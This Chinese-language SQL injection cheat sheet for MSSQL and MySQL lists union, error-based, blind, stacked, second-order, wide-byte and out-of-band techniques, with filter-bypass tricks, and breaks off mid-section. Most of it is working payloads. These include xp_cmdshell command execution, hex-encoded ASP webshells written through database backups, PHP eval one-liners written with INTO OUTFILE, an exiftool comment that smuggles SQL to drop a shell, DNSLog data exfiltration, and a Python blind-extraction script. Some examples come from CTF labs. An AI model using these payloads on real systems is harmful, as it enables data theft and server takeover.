Mssql基础

Mssql数据库关键的三张系统表

表名

释义

sysobjects

SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束 、默认值、日志、规则、存储过程等,每个对象在表中占一行。

syscolumns

该表位于每个数据库中。

sysdatabases

该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息

sysobjects系统表的字段名和相关说明

Name

对象名

id

对象id

xtype

对象类型

uid

所有者对象的用户id

status

对象状态

Mssql需要掌握的几种函数

函数

释义

host_name()

返回服务器端计算机的名称

current_user

返回当前数据库的用户

system_user

返回当前登录名

db_name(database_id)

返回当前数据库的名

@@version

返回版本信息

@@servername

获取主机有关信息

char()

将ASCII 码转换为字符,如果没有输入0 ~ 255 之间的ASCII 码值,char()返回 NULL

object_id()

根据对象名称返回该对象的id

object_name()

根据对象id返回对象名称

col_name(table_id,column_id)

根据指定的对应表标识号和列标识号返回列的名称

cast()

将某种数据类型的表达式显式转换为另一种数据类型

Mssql的注释符

名称

解释

--

单行注释

/**/

多行注释

注入类型

联合注入

1.判断列数:

id=1 order by n--

2.判断回显位:

id=-1 union select 1,2,3,4--

3.找库名:

id=-1 union select null,(select db_name()),null,null--
或者查所有数据库(前4个是系统数据库)
id=-1 union select 1,(select name from master..sysdatabases where dbid=7),null,null--

4.找表名:

#test为数据库名字
id=-1 union select null,(select top 1 name from test.dbo.sysobjects where xtype='u'),null,null--
或者
id=-1 union select null,(select top 1 name from test..sysobjects where xtype='u' and name not in ('cmd','sqlmapoutput')),null,null--获取第三个表名
或者
id=-1 union select null,(select name from (select row_number() over(order by name) as row_number,name from test.dbo.sysobjects where xtype='u') as a where row_number=1),null,null
或者
id=-1 union select null,(select top 1 table_name from information_schema.columns),null,null
或者
id=-1 union select null,(select top 1 table_name from information_schema.columns where 1=1 and table_name not in ('cmd')),null,null

5.找列名:

#找第n列数据
id=-1 union select null,(select top 1 col_name(object_id('users'),n) from test..sysobjects),null,null--
或者
id=-1 union select null,(select top 1 name from test..syscolumns where id = (select id from test..sysobjects where name = 'users') and name not in ('id','name')),null,null--
或者
id=-1 union select null,(select top 1 a.name from test..syscolumns a inner join test..sysobjects b on a.id = b.id where b.name = 'users' order by a.colid),null,null--
#找第三列(colid用于唯一标识表中每一列的标识符)
id=-1 union select null,(select top 1 a.name from test..syscolumns a inner join test..sysobjects b on a.id = b.id where b.name = 'users'  and a.name not in (select top 2 a.name from test..syscolumns a inner join test..sysobjects b on a.id = b.id where b.name = 'users' order by a.colid) order by a.colid),null,null--
或者(row_number=n表示查第n列)
id=-1 union select null,(select top 1 name from (select row_number() over(order by name) as row_number,name from test.dbo.syscolumns where id=object_id('users')) as a where a.row_number=1),null,null

6.找数据:

id=-1 union select null,name,null,null from users--
或者(如果只返回一条数据)
id=-1 union select null,(select top 1 name where name not in ('admin1')) ,null,null from users--
或者
id=-1 union select null,(select cast(a.id as varchar)%2b'|'%2bcast(a.name as varchar)%2b'|'%2bcast(a.password as varchar) from (select row_number() over(order by name) as row_number,* from users) as a where row_number=1),null,null

报错注入

出现报错的原因:即受注入页面下的web.config页面配置有

<configuration>
    <system.web>
        <customErrors mode="Off"/>
    </system.web>
</configuration>

如何报错:利用数据类型转换

报错函数

convert
id=1 and 1=convert(int,(select db_name()))--
cast
id=1 and 1=cast((select db_name()) as int)--
id=1 and 1=(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar))
db_name
id=1 and 1=db_name(@@version)
col_name(table_id,column_id)
id=1 and 1=col_name(1,(select db_name()))
filegroup_name
id=1 and 1=filegroup_name((select db_name()))
object_name
id=1 and 1=object_name((select db_name()))
suser_name
id=1 and 1=suser_name((select db_name()))
user_name
id=1 and 1=user_name((select db_name()))
schema_name
id=1 and 1=schema_name((select db_name()))
type_name
id=1 and 1=type_name((select db_name()))
file_name
id=1 and 1=file_name((select db_name()))
having报错

原理:having子句在没有正确配合Group by语句时就会报错
实战中只能得到表名和前两列:

#得到第一列
having 1=1--
#得到第二列
group by users.id having 1=1
xml path报错
获取库的个数
id=1 and 1=(select top 1 count(name) from master..sysdatabases for xml path)
获取所有库名
id=1 and 1=(select quotename(name) from master..sysdatabases for xml path(''))
获取表的个数
id=1 and 1=(select top 1 count(name) from test.dbo.sysobjects where xtype='u' for xml path)
获取所有表名
id=1 and 1=(select quotename(name) from test..sysobjects where xtype='u' for xml path(''))
拼接报错(可以获取数字类型的数据)

获取库的个数:

id=1 and 1=convert(int,'^^'%2b(select top 1 cast(count(name) as nvarchar(100)) from master..sysdatabases))--

获取表的个数:

id=1 and (select cast(count(*) as varchar(10))%2b'^' from test..sysobjects where xtype='u')>0--

布尔盲注

len函数判断长度

id=1 and len(db_name())=4--

substring配合char和ascii、unicode(应对中文)

id=1 and (substring((db_name()), 1, 1))='t'
id=1 and (substring((db_name()), 1, 1))=char(116)
id=1 and ascii(substring((db_name()), 1, 1))=116
id=1 and unicode(substring((db_name()), 1, 1))=116
#配合exists使用
id=1 and exists(select top 1 name from test..sysobjects where substring(name,1,1)='u')

substring的替代函数

left (string, length)
id=1 and id=1 and ascii(reverse(left((db_name()),2)))=101
right(string, length)
id=1 and id=1 and ascii(right((db_name()),2))=115
结合left和right
id=1 and id=1 and right(left(db_name(),3),1)='s'
# right(left('abcdef',3),1)=substr('abcdef',3,1)

时间盲注

延时函数:WAITFOR DELAY 'hh:mm:ss' :延时hh小时mm分钟ss秒

id=1 if exists(select top 1 name from master..sysdatabases where unicode(substring(name,1,1))=109) waitfor delay '0:0:5'--

权限处理

角色判断:

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否拥有库最高权限
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1=(Select IS_MEMBER('public'))

sysadmin权限(sa权限)

sysadmin这个角色能调用存储过程(stored procedure),而SQLServer内置的一些存储过程是可以直接执行CMD命令的!

sp_makewebtask写WEBSHELL(<=2005)

;exec sp_makewebtask  'C:\inetpub\sql_inject\sqlserver注入点\x1.asp','select''<%eval(request("cmd"))%>'''--

xp_cmdshell执行CMD命令

;exec xp_cmdshell 'whoami'--
或者
;exec xp_cmdshell 'for /r c:\ %i in (index*.aspx) do @echo 111 >%~$PATH:i1.aspx'--
或者不支持堆叠时使用字符串形式(用一个单引号转义一个单引号)
id=-1 if 1=1 execute('exec sp_configure ''show advanced options'',1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell ''whoami''')--

db_owner权限

getshell原理:DB_Owner角色具有当前库的所有控制权,能够对数据库进行备份。现假设数据库里面有WEBSHELL代码,将其后缀名改成aspxaspxasa这种脚本文件后缀,代码经过语言解释器的解析就会被执行,即WEBSHELL代码成功运行。所以作为攻击者的我们只需要事先把WEBSHELL代码写入数据库,然后把数据库导出到网站目录上的脚本文件后即可。

log备份

log备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

将数据库的恢复模式设置为FULL
;alter database test set RECOVERY FULL--

先备份
backup database 库名 to disk = 'c:\bak.bak';--

有一列a,数据类型为image(用于存储二进制数据)
;create table cmd (a image)--

备份时初始化目标文件,替换已有的备份文件
;backup log test to disk = 'c:\users\public\111' with init--

;insert into cmd (a) values (0x3c254050616765204c616e67756167653d224a73637269707422253e0a3c256576616c2853797374656d2e546578742e456e636f64696e672e476574456e636f64696e6728393336292e476574537472696e672853797374656d2e436f6e766572742e46726f6d426173653634537472696e6728274d7a55324d272b277a51334f33272b275a68636942272b277a59575a6c272b27272b63686172283532322d343432292b53797374656d2e546578742e456e636f64696e672e476574456e636f64696e6728393336292e476574537472696e672853797374656d2e436f6e766572742e46726f6d426173653634537472696e67282755773d3d2729292b274a272b53797374656d2e546578742e456e636f64696e672e476574456e636f64696e6728393336292e476574537472696e672853797374656d2e436f6e766572742e46726f6d426173653634537472696e6728274d513d3d2729292b53797374656d2e546578742e456e636f64696e672e476574456e636f64696e6728393336292e476574537472696e672853797374656d2e436f6e766572742e46726f6d426173653634537472696e67282759673d3d2729292b27272b27272b63686172283938312d383731292b274e272b63686172283833312d373237292b53797374656d2e546578742e456e636f64696e672e476574456e636f64696e6728393336292e476574537472696e672853797374656d2e436f6e766572742e46726f6d426173653634537472696e67282757673d3d2729292b636861722830783263322d3078323535292b27272b2755694f3256272b27325957776f272b27556d567864272b2757567a6443272b27354a644756272b277457796468272b275957456e58272b275377676332272b27466d5a536b272b27374d544132272b274f5441304d272b2754733d272b27272929293b253e0a)--

指定文件的备份路径
backup log test to disk = 'c:\users\public\2.asp'

;drop table cmd--

差异备份

backup database 库名 to disk = 'c:\users\public\bak.bak';--

;create table cmd (a image)--

;insert into cmd (a) values (0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b2263616964616f225d2c22756e7361666522293b253e)--

backup database 库名 to disk='C:\users\public\d.asp' WITH DIFFERENTIAL,FORMAT;--

Mysql基础

一.数据库操作

show databases 查看当前MySQL服务器中有哪些数据库
create database 创建新的数据库
use 数据库名 切换数据库
select database() 查看正在使用的数据库
drop database 数据库名 删除数据库

二.数据表操作

show tables 查看当前数据库中有哪些表
desc 表名 查询表结构    或者:describe 表名
select * from 表名 查询表的数据
show columns from 表名 显示表中各字段信息,即表结构

三.查询语句

select 列名 from 表名 ---->  select username from user
select 列名1,列名2 from 表名 ----> select username,password from user
select * from 表名 ----> select * from user
select 列名 from 表名 where 列名=xx ----> select * from user where username='admin'

四.插入数据(三种形式)

insert into 表名(列名1,列名2,列名3) values(值1,值2,值3)
如:insert into user (id,username,password) values (3,'test','test123')
insert into 表名 values(值1,值2,值3)
如:insert into user values(4,''test2,'abcd')
insert into 表名 set 列名1=值1,列名2=值2,列名3=值3
如:insert into user set id=5,username='test3',password='123456'

五.更新数据

基本格式:update 表名 set 列名=新值 where 列名=值
update user set password='abc123' where username='test'
更新多个列:update user set username='tests',password='123' where id=3
省略条件,更新表中的一列数据:update 表名 set 列名=新值
update user set password='456789'

六.删除数据

删除表中的一行数据:delete from 表名 where 列名=值
delete from user where username=tests;
使用in关键字删除表中的多行数据:delete from 表名 where 列名 in (需要删除的行)
delete from user where id in (4,5)
删除表中的所有数据:delete from 表名
delete from user
truncate from user

七.alter与update的区别:

alter用于更新数据结构,update用于更新数据
常见的alter操作:
添加新列:ALTER TABLE table_name ADD column_name data_type;
修改列:ALTER TABLE table_name MODIFY column_name new_data_type;
删除列:ALTER TABLE table_name DROP column_name;
添加主键:ALTER TABLE table_name ADD PRIMARY KEY (column_name);
添加外键:ALTER TABLE table_name ADD FOREIGN KEY (column_name) REFERENCES other_table(column_name);

八.过程、状态相关

show create table 表名; 显示表中各字段信息,即表结构
status; 列出当前mysql的相关状态信息

九.php连接MySQL

1.mysql操作(过时)
mysql_connect() 连接MySQL数据库

mysql_select_db(数据库名,数据库连接) 选择数据库

mysql_query() 执行sql语句

mysql_fetch_assoc() 从结果集取得一行作为关联数据

mysql_close() 关闭数据库连接
2.mysqli操作
new mysqli() 建立一个mysql连接

MySQLi::query() 对数据库进行一次查询

MySQLi::fetch_all() 取出结果集中的所有数据,并以关联数组的形式返回

MySQLi::fetch_assoc() 取出结果集中的一条数据,并以关联数据的形式返回

MySQLi::close() 关闭数据库连接

注入类型

1.联合注入

基础步骤:
1.判断列数:

id=1' order by n%23
或者
id=1' group by n%23

2.判断回显位:

id=-1' union select 1,2,3%23

3.找库名:

id=-1' union select (select database()),2,3%23

4.找表名:

id=-1' union select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3%23

5.找列名:

id=-1' union select (select group_concat(column_name)from information_schema.columns where table_name='xxx' and table_schema=database()),2,3%23

6.找数据:

id=-1' union select (select xxxx from xxx),2,3%23

特殊功能之插入临时表:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。如果我们可以通过登录拿flag,我们就可以先通过union联合注入向临时表中插入数据,然后我们通过该数据登录拿flag。

万能密码:

1' or 1=1%23

用构造万能密码登录:
如果后台源码是:

select user from user where user='$_POST[username]' and password='$_POST[password]';

那么我们可以通过转义单引号,构造永真判断。

username=admin\&password=or 1=1#

这时后台接收到的数据就是:

select * from users where username='admin\' and password=' or 1=1#';

2.报错注入

updatexml()注入

updatexml(XML_document,Xpath_string,new_value) 替换数据
第一个参数:XML_document XML对象可以是XML文件或者是字符串
第二个参数:Xpath_string Xpath格式的字符串
第三个参数:New_value 替换查询到的数据

利用:让第二个参数不符合xpath格式导致报错。

//列库名,其它的都是常规操作,替换database()为相应的查询语句即可
id=999'||(updatexml(1,concat(0x5c,(select database())),1))%23

extractvalue()注入

缺点:只能提取32位数据,需要配合substr拿到所有数据

extractvalue(XML_document,Xpath_str) 提取XML数据
第一个参数:XML_document XML对象可以是XML文件或者是字符串
第二个参数:Xpath_str Xpath格式的字符串

利用:让第二个参数不符合xpath格式导致报错。

//列库名,其它的都是常规操作,替换database()为相应的查询语句即可
id=999'||(extractvalue(1,concat('~',(select database()))))%23
//利用substr拿后面的数据
id=2'||(extractvalue(1,concat(0x5c,(select substr(flag,30) from flag))))%23

floor()注入

原理:主键重复报错。
group by的特性:

select username,count(*) from user group by username;

group by 分组查询会产生一个虚拟表,其中username为主键,不可重复。每查询一条数据,就去虚拟表中查看数据是否存在,如果不存在,就向虚拟表中添加,如果存在,则count(*)加一。

rand()函数:产生一个0~1的随机数,但如果种子固定,产生的值也将固定,如rand(0)。

select floor(rand(0)*2) from information_schema.tables; =>产生固定序列01101

rand()函数的特性:rand()函数执行速度比group by查询并插入key值的速度更快。
因此,我们来分析一下执行流程:

1.首先将floor(rand(0)*2)的第一次执行结果,也就是0带入虚拟表的key中查询是否存在 
2.此时不存在,所以会将此时的floor(rand(0)*2)的结果插入虚拟表中 
3.但是不要忘了rand()函数的特性, rand()函数执行是比group by语句查询并插入key值更快的,也就是floor(rand(0)*2)执行了一次后,就被带去查询,此时floor(rand(0)*2)仍在执行,等查询完确认虚拟表中没有0这个key后,就将floor(rand(0)*2)此时的结果插入虚拟表
4.但此时floor(rand(0)*2)已经执行完第二遍了,结果为1,就导致了 带去查询的数据为0,但插入的数据却为1,对应的count(*)也为1,此时虚拟表如下:

5.接着floor(rand(0)*2)第三次执行,结果为1,group by也遍历到了第三个结果,也就把1带入虚拟表中的key值去查,发现存在"1"这个key值,所以直接在该key值对应的count(*)加1,也就是计数,注意这里并不需要插入操作,所以floor(rand(0)*2)的第四次执行还没有完成。
6.接着floor(rand(0)*2)第四次执行完成,结果为0,group by语句带0进入虚拟表key中查询,发现没有这个key值,所以将此时的floor(rand(0)*2)结果插入虚拟表,但是,因为rand()函数的特性,插入还没完成之前,floor(rand(0)*2)第五次执行结果已经完成,结果为1,所以导致带入查询的数据为0,插入的数据却为1,此时虚拟表如下:


payload:

//x为别名,代表前面这个concat语句,a也一样,也可以在前面加上as关键字,每个派生表必须有自己的别名,所以说这个a是必要的
id=999'||(select 1 from (select count(*),concat((select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)%23
或者
id=999'||select count(*),concat((select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a%23

name_const()注入

作用:用于创建一个具有指定名称和值的常量列
用法:select name_const('name','test'); 第一个参数是列的名称,第二个参数是列的值
利用:列名重复报错

select * from (select name_const(version(),1),select name_const(version(),1))x;

局限:只能得到数据库版本名。(因为version()是常量,而database()等数据是变量)

exp()注入

exp(x):返回e的x次方。
利用:当x>709时会出现溢出报错,利用该特性,进行布尔盲注:

//C为盲注的值
id=1 and exp(709+C-ascii(substr((select database()),1,1)));

cot()注入

利用:cot(x),当x=0时溢出报错,利用该特性,进行布尔盲注:

//C为盲注的值
id=1 and cot(C-ascii(substr((select database()),1,1)));

pow()注入

pow(x,y):计算x的y次方
利用:利用溢出报错,进行布尔盲注:

//C为盲注的值,当第一个参数>=2时就会溢出报错
id=1 and cot(C-ascii(substr((select database()),1,1)),1000000);

1+~0溢出报错

利用:0取反是最大的整数,+1就会溢出

select 1+~0;

gtid_subtract()注入

//可以爆库名、表名、列名、数据
select gtid_subtract((select * from(select user())a),1);

几何函数报错(看看就好)

//适用版本:5.5.5~5.5.49 
id=1 and multilinestring((select*from(select*from(select user())a)b)); 
id=1 and linestring((select*from(select*from(select user())a)b)); 
id=1 and multipolygon((select*from(select*from(select user())a)b)); 
id=1 AND GeometryCollection((select * from (select* from(select user())a)b)) 
id=1 AND polygon((select * from(select * from(select user())a)b)) 
id=1 AND multipoint((select * from(select * from(select user())a)b)) 
id=1 AND multilinestring((select * from(select * from(select user())a)b)) 
id=1 AND LINESTRING((select * from(select * from(select user())a)b)) 

uuid相关函数:适用于8.0.x版本

#UUID_TO_BIN((查询语句)): 
SELECT UUID_TO_BIN((SELECT password FROM users limit 0,1)); 
SELECT BIN_TO_UUID((SELECT password FROM users limit 0,1));

无列名注入之join using

原理:
1.首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了
2.爆出来一个字段后, 使用using()将该字段作为连接两张表的条件,这样这个字段就不会重复了,然后依次这样操作,就可以爆出列名
paylood:

//爆出表table_name的第一个字段
select * from(select * from table_name a join (select * from table_name)b)c; 
//填入第一个字段,爆出第二个字段
select * from(select * from table_name a join (select * from table_name)b using(column1))c;  
//以此类推,爆出每个字段
select * from(select * from table_name a join(select * from table_name)b using(column1,column2))c; 

3.堆叠注入

原理:允许执行多条sql语句,中间用分号隔开。
用一道ctf题目的三种姿势玩转堆叠注入:强网杯2019 随便注:

姿势一:预编译

inject=1';prepare st from concat('s','elect','* from `1919810931114514`');execute st;--+

姿势二:handler句柄

说明:在SQL中,HANDLER 是用于直接访问表的一种方式。HANDLER 语句用于打开表,并为后续操作提供对表的直接访问。

(1)handler table_name open as hd; 指定数据表进行载入并返回句柄

(2)handler hd read first; 读取指定表/句柄的首航数据

(3)handler hd read next; 读取指定表/句柄的下一行数据

(4)handler hd close; 关闭句柄

姿势三:rename重命名

//此番操作,将1919810931114514表的flag列转换为words表的id列。
inject=1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);%23
//再用万能密码查id列(也就是flag列)
inject=1'or 1=1%23

4.布尔盲注

if型

payload:

id=1 and if(ascii(substr((select database()),1,1)=119),1,0)%23

二分法脚本:

import requests
url = "http://b3d5fa4b-67db-49e5-884b-1c8426d4e4d3.challenge.ctf.show/api/v4.php?id=1' and 1 = "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127
    while head < tail:
        mid = (head + tail) >> 1
        payload = f'if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0)%23'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid
    if head == 32:
        break
    else:
        result += chr(head)
    print(result)

case when型

格式:

//中间可以有无数个when then,且最后一定要以end结尾。
//第一种情况:case后有值x,那么最后x=对应的值。
case x when a then b when c then d else e end;
//第二种情况:case后没有值,返回结果看condition的条件是否满足。如果满足,则返回相应的值;如果不满足,返回else后面的值;如果没有else,则返回null
//返回true
case when 1>0 then 'true' else 'false' end;

举例:

select case 2 when 1 then 'true' when 2 then 'false' else 'xxx' end;


假设数据表flag如下:

flag              id
flag{hello_ctf}	  1

payload:(利用case then语句配合regexp正则匹配和1+~0溢出报错)

//如果满足条件,则不会触发后面1+~0,正常回显,而如果不满足条件,则会引发报错:
select id from flag where id=0 || case 1 when flag regexp '^f' then 1 else 1+~0 end;

如果过滤了空格,可以用科学计数法绕过:(注意 1E0+~0是不会报溢出错误的,因为使用了科学计数法,范围增大了。)

SELECT id FROM flag WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;

5.时间盲注

sleep

利用方式:

select * from users where id=-1 || if(length(database())>8,sleep(3))

benchmark

利用方式:通过增加执行次数增加延时

select * from users where id=-1 || if(length(database())>8,benchmark(10000000,md5('dtwin')))

笛卡尔积

利用方式:将同一个表重命名连接起来,增加次数进而增加延时。

select count(*) from information_schema.columns A, information_schema.columns B;

rlike regexp

利用方式:通过构造长字符串进行正则匹配进行延时:

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

get_lock

原理:开了一个session对一个关键字进行get_lock,然后再开启另一个session对该关键字进行get_lock,就会延时相应的时长。

//首先get_lock一个关键字:
select get_lock('dtwin',2);
//然后用新的session去get_lock该关键字:
select get_lock('dtwin',3);
//达到的效果就是延时3秒

6.二次注入

以sqli-labs Less24为例,在注册用户的时候把脏数据带入数据库,如果没有进行严格的过滤,当取出该脏数据的时候,就会造成注入。
假设数据库中有一个用户是admin,更新语句如下:

$username= $_SESSION["username"];
$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

可以看到,代码对username没有进行过滤,如果我们传入:

username=admin'#

那么更新语句就会变成:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

这样,我们就可以不需要当前的密码,而成功修改admin用户的密码了。

7.宽字节注入

原理:在GBK编码中,反斜杠的编码是%5c,在输入%df后,和转义时添加的反斜杠后形成%df%5c,而%df%5c是繁体字“連”,单引号(%27)成功逃逸,爆出Mysql数据库的错误。
以sqli-labs Less32为例:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash

    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash

    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;

}
$id=check_addslashes($_GET['id']);
mysqli_query($con1, "SET NAMES gbk");

该代码会对id中的特殊字符如单引号进行转义,也就是会在单引号前面加上反斜杠,而我们可以利用GBK编码的特点,把两个字节当成一个字符进行处理,在前面加上%df,就可以成功逃逸出单引号。

id=%df' order by 3%23

8.oob注入

解释:Out-Of-Band,简而言之,就是数据外带。
原理:在可以文件读取的条件下,请求外部dns地址进行解析。
payload:(Windows环境)

http://127.0.0.1/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--

9.limit注入

如果可控点在limit后面,注入就变得比较困难,如图:

$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

在limit后面,我们还可以用procedure analyse()这个子查询,但是有版本要求:5.0.0<MYSQL<5.6.6
。而且只能用extractvalue 和 benchmark 函数进行延时。
payload:

limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

10.约束攻击

先创建一个表:

CREATE TABLE users( 
    username varchar(20), 
    password varchar(20) 
)

注册判断代码:

<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username'";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
    die('账号已注册');
}else{
    $sql2 = "insert into users values('$username','$password')";
    mysqli_query($conn,$sql2);
    die('注册成功');
}
?>

登录判断代码:

<?php
$conn = mysqli_connect("127.0.0.1:3360", "root", "root", "db");
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
    $_SESSION['username']=$password;
}else{
    echo "fail";
}
?>

假设我们给username输入:(假设有一个admin用户)

username=admin[20个空格]x

则查询语句如下:

select * from users where username = 'admin[20个空格]x'

此时,肯定不会判断有重复用户(select不会截取长度),因此会成功插入数据库。但是,问题出现了:由于建表的时候,属性username的长度最大就是20,那么我们插入数据库的时候肯定就只有admin了,那么我们就会覆盖原有的admin用户,造成注入。

防御

给username字段添加unique属性。
使用id字段作为判断用户的凭证。
插入数据前判断数据长度

11.文件类型注入

以ctfshow你没见过的注入为例,这个题的上传源码如下:

$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";

这里对于filetype使用了finfo::file取值,这个函数会获取文件的属性,包括图片的comment,而一个图片的comment我们是可控的,所以思路就很简单了,构造恶意的comment拼接sql语句写马即可。这里我们可以使用exiftool:

exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+" 1.jpg

其中,16进制的内容就是一句话木马:

<?=`$_POST[0]`;

那么,上传后的实际执行的sql语句:

INSERT INTO file(filename,filepath,filetype) VALUES ('1.jpg','文件路径','y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+');

接着,直接访问/1.php执行命令即可。

12.sql注入getshell

前提条件:

web目录具有写入权限
找到网站的绝对路径
secure_file_priv没有具体值(secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。)

union select 写入

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/WebShell.php'

lines terminated by 或 lines starting by 或 fields terminated by

假设查询语句为:

$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

那么注入的方式就可以有:

//在数据结尾增加
filename=1.php' lines terminated by '<?php eval($_POST[1]);?>'#
或者
//在数据开头增加
filename=1.php' lines starting by '<?php eval($_POST[1]);?>'#
或者
//在字段后增加
filename=1.php' fields terminated by '<?php eval($_POST[1]);?>'#

Bypass方式

空格绕过

编码绕过
%20 %09 %0a %0b %0c %0d %a0 %00
内联注释
/**/
括号绕过
select flag from flag ---->  select(flag)from(flag)

双写绕过

$sql = str_ireplace('select', '', $sql); #str_ireplace()不区分大小写

直接用seselectlect绕过。

大小写绕过

原理:有的开发人员只禁用了小写和大写,可以用类似uNiOn这种大小写混合的方式绕过。

注释符绕过

构造闭合
//利用or或者and和引号或括号进行闭合
SELECT * FROM `sheet1` WHERE 用户名="$username"
//可以用"||"1或" or "1"="1进行闭合

等于号绕过

使用大于小于和二分法绕过
like

like有两个模式:和%
:表示单个字符,用来查询定长的数据
%:表示0个或多个任意字符

SELECT * FROM Persons WHERE City LIKE 'N%'     从"Persons"表中选取居住在以"N"开始的城市里的人
SELECT * FROM Persons WHERE City LIKE '%g'     从"Persons"表中选取居住在以"g"结尾的城市里的人
SELECT * FROM Persons WHERE City LIKE '%lon%' 从"Persons"表中选取居住在包含 "lon"的城市里的人
SELECT * FROM Persons WHERE City NOT LIKE '%lon%'  从 "Persons" 表中选取居住在不包含 "lon" 的城市里的人
rlike,regexp

相较于like,增加了正则匹配:

1.模糊查询字段中包含某关键字的信息。
如:查询所有包含"希望"的信息:select * from student where name rlike '希望'

2.模糊查询某字段中不包含某关键字信息。
如:查询所有不包含"希望"的信息:select * from student where name not rlike '希望'

3.模糊查询字段中以某关键字开头的信息。
如:查询所有以"大"开头的信息:select * from student where name rlike '^大'

4.模糊查询字段中以某关键字结尾的信息。
如:查询所有以"大"结尾的信息:select * from student where name rlike '大$'

5.模糊匹配或关系,又称分支条件。
如:查询出字段中包含"幸福,幸运,幸好或幸亏"的信息:
select * from student where name rlike '幸福|幸运|幸好|幸亏'
in
select * from sheet1 where 用户名="admin" and substr(user(),1,1) ='r'
转换为
select * from sheet1 where 用户名="admin" and substr(user(),1,1) in ('r')
strcmp
select * from sheet1 where 用户名=”admin” and ascii(substr(database(),0,1))=116
转换为
select * from sheet1 where 用户名="admin" and strcmp(ascii(substr(database(),1,1)),116)
between and绕过
id=1 and substr(password,1,1) between 't' and 't'
用ascii做减法
select 1 and ascii('a')-97;
<> ! 负负得正绕过
id=1 and if(!(ascii(substr((select database()),1,1))<>119),1,0)%23

or and not绕过

and=&&
or=|| 
xor=^
not=!
greatest()、least()绕过

greatest(n1,n2,n3)会返回最大值,least(n1,n2,n3)会返回最小值。

select * from sheet1 where 用户名="admin" and greatest(ascii(substr(database(),1,1)),64)=64

引号绕过

16进制绕过

将需要用引号的语句使用16进制编码,并在前面加上0x。

数字绕过

如图:

逗号绕过

from for绕过
select substr(database() from 1 for 1);
也就等价于
substr(database(),1,1)
limit offset绕过
select * from sheet1 limit 0,1 ---> select * from sheet1 limit 1 offset 0
join绕过
select 1,2等价于select * from (select 1)a join (select 2)b

substr绕过

使用mid、substring替代
使用left right
//单用left
select ascii(reverse(left('abcde',3)));
//单用right
select ascii(right('abcde',3));
//结合left和right
right(left('abcdef',3),1)=substr('abcdef',3,1)
trim()绕过
//如果该式子不相等,那么就是以i或者i+1开头的
trim(leading <i> from 'abcd') = trim(leading <i+1> from 'abcd')
//当我们判断出以'a'开头时,我们就可以比较:
trim(leading a<i> from 'abcd') = trim(leading a<i+1> from 'abcd')

insert()绕过

利用方式:insert(字符串,起始位置,长度,替换为什么)

select insert((insert('abcdef',1,0,'')),2,99999,'')

information_schema.tables数据库绕过

sys数据库(MYSQL>=5.7)
查询所有使用过的库:
select table_schema from sys.schema_table_statistics group by table_schema;
或者
